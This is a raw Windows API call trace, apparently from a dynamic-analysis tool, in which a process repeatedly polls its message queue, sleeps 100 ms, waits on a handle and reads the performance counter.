[0145.149] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.149] Sleep (dwMilliseconds=0x64) [0145.163] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.163] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759649232) returned 1 [0145.164] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759649453) returned 1 [0145.164] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.165] Sleep (dwMilliseconds=0x64) [0145.179] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.179] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759702655) returned 1 [0145.179] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759702854) returned 1 [0145.180] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.180] Sleep (dwMilliseconds=0x64) [0145.195] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.195] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759756277) returned 1 [0145.195] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759756463) returned 1 [0145.195] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.196] Sleep (dwMilliseconds=0x64) [0145.210] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.211] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759810090) returned 1 [0145.211] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759810275) returned 1 [0145.211] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.212] Sleep (dwMilliseconds=0x64) [0145.229] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.229] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759873066) returned 1 [0145.229] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759873234) returned 1 [0145.230] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.230] Sleep (dwMilliseconds=0x64) [0145.242] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.242] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759917748) returned 1 [0145.242] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759917916) returned 1 [0145.243] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.243] Sleep (dwMilliseconds=0x64) [0145.257] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.257] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759970171) returned 1 [0145.257] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759970366) returned 1 [0145.258] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.259] Sleep (dwMilliseconds=0x64) [0145.273] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.273] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760022600) returned 1 [0145.273] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760022785) returned 1 [0145.273] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.274] Sleep (dwMilliseconds=0x64) [0145.288] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.288] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760075840) returned 1 [0145.288] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760076022) returned 1 [0145.289] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.289] Sleep (dwMilliseconds=0x64) [0145.304] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.304] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760129249) returned 1 [0145.304] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760129432) returned 1 [0145.305] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.305] Sleep (dwMilliseconds=0x64) [0145.319] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.320] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760182763) returned 1 [0145.320] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760182947) returned 1 [0145.320] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.321] Sleep (dwMilliseconds=0x64) [0145.335] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.335] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760235773) returned 1 [0145.335] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760235957) returned 1 [0145.336] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.336] Sleep (dwMilliseconds=0x64) [0145.352] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.352] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760292977) returned 1 [0145.352] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760293157) returned 1 [0145.352] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.353] Sleep (dwMilliseconds=0x64) [0145.367] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.367] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760345286) returned 1 [0145.367] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760345479) returned 1 [0145.368] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.368] Sleep (dwMilliseconds=0x64) [0145.382] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.382] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760396806) returned 1 [0145.382] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760396975) returned 1 [0145.383] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.383] Sleep (dwMilliseconds=0x64) [0145.397] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.397] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760449058) returned 1 [0145.398] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760449227) returned 1 [0145.398] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.399] Sleep (dwMilliseconds=0x64) [0145.413] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.413] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760502302) returned 1 [0145.413] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760502471) returned 1 [0145.414] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.414] Sleep (dwMilliseconds=0x64) [0145.429] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.429] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760555652) returned 1 [0145.429] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760555828) returned 1 [0145.429] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.430] Sleep (dwMilliseconds=0x64) [0145.446] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.446] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760615200) returned 1 [0145.446] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760615369) returned 1 [0145.447] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.447] Sleep (dwMilliseconds=0x64) [0145.460] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.461] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760664676) returned 1 [0145.461] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760664871) returned 1 [0145.461] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.462] Sleep (dwMilliseconds=0x64) [0145.517] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.517] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760857318) returned 1 [0145.517] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760857475) returned 1 [0145.517] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.518] Sleep (dwMilliseconds=0x64) [0145.525] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.525] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760886006) returned 1 [0145.525] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760886164) returned 1 [0145.526] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.526] Sleep (dwMilliseconds=0x64) [0145.538] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.538] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760929234) returned 1 [0145.538] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760929399) returned 1 [0145.539] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.539] Sleep (dwMilliseconds=0x64) [0145.553] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.553] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=760982193) returned 1 [0145.554] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=760982351) returned 1 [0145.554] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.554] Sleep (dwMilliseconds=0x64) [0145.571] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.571] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761041612) returned 1 [0145.571] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761041767) returned 1 [0145.571] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.572] Sleep (dwMilliseconds=0x64) [0145.585] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.585] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761089096) returned 1 [0145.585] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761089293) returned 1 [0145.585] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.586] Sleep (dwMilliseconds=0x64) [0145.600] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.600] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761142754) returned 1 [0145.601] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761142951) returned 1 [0145.612] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.613] Sleep (dwMilliseconds=0x64) [0145.616] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.616] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761195589) returned 1 [0145.616] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761195786) returned 1 [0145.617] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.617] Sleep (dwMilliseconds=0x64) [0145.632] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.632] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761249233) returned 1 [0145.632] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761249419) returned 1 [0145.632] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.633] Sleep (dwMilliseconds=0x64) [0145.647] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.647] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761302196) returned 1 [0145.647] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761302380) returned 1 [0145.648] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.648] Sleep (dwMilliseconds=0x64) [0145.663] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.663] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761355530) returned 1 [0145.663] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761355712) returned 1 [0145.663] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.664] Sleep (dwMilliseconds=0x64) [0145.679] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.679] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761410830) returned 1 [0145.679] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761410996) returned 1 [0145.679] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.680] Sleep (dwMilliseconds=0x64) [0145.707] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.707] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761506943) returned 1 [0145.707] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761507115) returned 1 [0145.708] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.709] Sleep (dwMilliseconds=0x64) [0145.709] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.710] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761515654) returned 1 [0145.710] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761515798) returned 1 [0145.710] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.710] Sleep (dwMilliseconds=0x64) [0145.725] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.725] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761568920) returned 1 [0145.725] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761569121) returned 1 [0145.726] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.726] Sleep (dwMilliseconds=0x64) [0145.741] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.741] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761622153) returned 1 [0145.741] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761622300) returned 1 [0145.741] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.742] Sleep (dwMilliseconds=0x64) [0145.756] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.756] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761675452) returned 1 [0145.756] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761675599) returned 1 [0145.757] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.757] Sleep (dwMilliseconds=0x64) [0145.772] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.772] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761728804) returned 1 [0145.772] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761729016) returned 1 [0145.772] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.773] Sleep (dwMilliseconds=0x64) [0145.788] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.788] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761784651) returned 1 [0145.788] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761784844) returned 1 [0145.789] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.789] Sleep (dwMilliseconds=0x64) [0145.803] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.803] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761835428) returned 1 [0145.803] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761835625) returned 1 [0145.804] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.804] Sleep (dwMilliseconds=0x64) [0145.820] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.820] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761892932) returned 1 [0145.820] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761893118) returned 1 [0145.821] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.821] Sleep (dwMilliseconds=0x64) [0145.834] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.834] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761942060) returned 1 [0145.834] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761942242) returned 1 [0145.835] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.835] Sleep (dwMilliseconds=0x64) [0145.850] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.850] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=761996518) returned 1 [0145.850] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=761997015) returned 1 [0145.851] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.852] Sleep (dwMilliseconds=0x64) [0145.865] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.866] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762048713) returned 1 [0145.866] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762048898) returned 1 [0145.866] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.867] Sleep (dwMilliseconds=0x64) [0145.884] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.884] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762111641) returned 1 [0145.884] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762111838) returned 1 [0145.885] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.885] Sleep (dwMilliseconds=0x64) [0145.897] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.897] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762157819) returned 1 [0145.897] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762158016) returned 1 [0145.898] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.899] Sleep (dwMilliseconds=0x64) [0145.912] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.912] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762208860) returned 1 [0145.912] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762209056) returned 1 [0145.913] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.914] Sleep (dwMilliseconds=0x64) [0145.928] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.928] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762262041) returned 1 [0145.928] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762262244) returned 1 [0145.929] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.929] Sleep (dwMilliseconds=0x64) [0145.944] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.944] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762315670) returned 1 [0145.944] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762315866) returned 1 [0145.944] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.945] Sleep (dwMilliseconds=0x64) [0145.959] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.959] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=762368626) returned 1 [0145.959] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=762368821) returned 1 